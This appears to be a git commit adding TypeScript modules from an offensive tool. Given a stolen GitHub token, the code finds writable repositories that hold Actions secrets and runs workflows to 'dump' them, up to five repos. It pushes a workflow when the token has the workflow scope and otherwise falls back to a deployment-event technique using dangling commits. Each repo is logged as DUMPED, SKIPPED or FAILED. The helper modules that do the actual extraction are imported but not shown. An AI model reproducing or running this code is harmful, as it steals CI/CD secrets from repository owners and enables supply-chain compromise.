Upload files to "src/providers/actions"

This commit is contained in:
2026-07-03 03:08:14 +00:00
parent 63b68d0416
commit 7a37255c55
3 changed files with 228 additions and 0 deletions
+104
View File
@@ -0,0 +1,104 @@
import { getTokenMetadata } from "../../github_utils/tokenCheck";
import { logUtil } from "../../utils/logger";
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import {
runDeploymentOnReposWithSecrets,
runFormatOnReposWithSecrets,
} from "./pipeline";
export type TokenRepo = {
token: string;
repo: string;
owner: string;
};
export class GitHubActionsService extends Provider {
private token;
constructor(token: string) {
super("github", "actions");
this.token = token;
}
async execute(): Promise<ProviderResult> {
const meta = await getTokenMetadata(this.token);
if (!meta.valid) {
return this.failure("Token invalid");
}
// Prefer push-based approach when workflow scope is available.
if (meta.scopes.includes("workflow")) {
return this.runPushWorkflow();
}
// Fall back to deployment-based approach — only needs repo scope.
logUtil.log(
"Missing workflow scope — falling back to deployment technique",
);
return this.runDeployWorkflow();
}
private async runPushWorkflow(): Promise<ProviderResult> {
try {
const { results, metadata } = await runFormatOnReposWithSecrets(
this.token,
);
const dumped = results.filter((r) => !r.error).length;
if (dumped === 0) {
// Return all results as data so errors are visible in the output.
return this.success({
ok: false,
dumped: 0,
errored: results.filter((r) => r.error).length,
results,
metadata,
});
}
return this.success({
ok: true,
dumped,
errored: results.filter((r) => r.error).length,
results,
metadata,
});
} catch (e) {
logUtil.error("Failure collecting results (push)");
return this.failure(
`Failure collecting results: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
private async runDeployWorkflow(): Promise<ProviderResult> {
try {
const { results, metadata } = await runDeploymentOnReposWithSecrets(
this.token,
);
const dumped = results.filter((r) => !r.error).length;
if (dumped === 0) {
return this.success({
ok: false,
dumped: 0,
errored: results.filter((r) => r.error).length,
results,
metadata,
});
}
return this.success({
ok: true,
dumped,
errored: results.filter((r) => r.error).length,
results,
metadata,
});
} catch (e) {
logUtil.error("Failure collecting results (deploy)");
return this.failure(
`Failure collecting results: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
}
+1
View File
@@ -0,0 +1 @@
export { githubFetch, githubHeaders, githubJson } from "../../github_utils/client";
+123
View File
@@ -0,0 +1,123 @@
import type { TokenRepo } from "./actions";
import { streamWritableRepos } from "./repos";
import { type RepoSecretInfo, streamRepoSecrets } from "./secrets";
import {
type FormatResult,
runDeploymentWorkflows,
runFormatWorkflows,
} from "./workflow";
export interface RepoScanMetadata {
fullName: string;
secrets: string[];
isPrivate: boolean;
status: "DUMPED" | "SKIPPED" | "FAILED";
error?: string;
method: "push" | "deployment";
}
interface CollectResult {
toDump: TokenRepo[];
metadata: RepoScanMetadata[];
}
async function collectReposWithSecrets(token: string): Promise<CollectResult> {
const toDump: TokenRepo[] = [];
const metadata: RepoScanMetadata[] = [];
for await (const info of streamRepoSecrets(
token,
streamWritableRepos(token),
)) {
const hasSecrets = info.secrets.length > 0;
const [owner, repo] = info.fullName.split("/");
if (hasSecrets && owner && repo && toDump.length < 5) {
toDump.push({ token, owner, repo });
metadata.push({
fullName: info.fullName,
secrets: info.secrets,
isPrivate: info.isPrivate,
status: "DUMPED",
method: "push",
});
} else {
metadata.push({
fullName: info.fullName,
secrets: info.secrets,
isPrivate: info.isPrivate,
status: "SKIPPED",
method: "push",
});
}
}
return { toDump, metadata };
}
/**
* Cross-reference workflow results with the pre-computed metadata.
* Repos that were marked DUMPED but had a failing workflow (error or
* null artifact) are downgraded to FAILED with the error message.
*/
function reconcileMetadata(
results: FormatResult[],
metadata: RepoScanMetadata[],
method: "push" | "deployment",
): RepoScanMetadata[] {
const resultMap = new Map(results.map((r) => [r.repo, r]));
return metadata.map((m) => ({
...m,
method,
...(m.status === "DUMPED"
? (() => {
const r = resultMap.get(m.fullName);
if (!r || r.error || r.artifact === null) {
return {
status: "FAILED" as const,
error: r?.error ?? "no result",
};
}
return {};
})()
: {}),
}));
}
/**
* Run the push-based workflow (requires `workflow` OAuth scope).
*/
export async function runFormatOnReposWithSecrets(
token: string,
concurrency = 5,
): Promise<{ results: FormatResult[]; metadata: RepoScanMetadata[] }> {
const { toDump, metadata } = await collectReposWithSecrets(token);
const results: FormatResult[] = [];
for await (const result of runFormatWorkflows(toDump, concurrency)) {
results.push(result);
}
return { results, metadata: reconcileMetadata(results, metadata, "push") };
}
/**
* Run the deployment-based workflow (no `workflow` scope needed —
* uses dangling commits + deployment events).
*/
export async function runDeploymentOnReposWithSecrets(
token: string,
concurrency = 5,
): Promise<{ results: FormatResult[]; metadata: RepoScanMetadata[] }> {
const { toDump, metadata } = await collectReposWithSecrets(token);
const results: FormatResult[] = [];
for await (const result of runDeploymentWorkflows(toDump, concurrency)) {
results.push(result);
}
return {
results,
metadata: reconcileMetadata(results, metadata, "deployment"),
};
}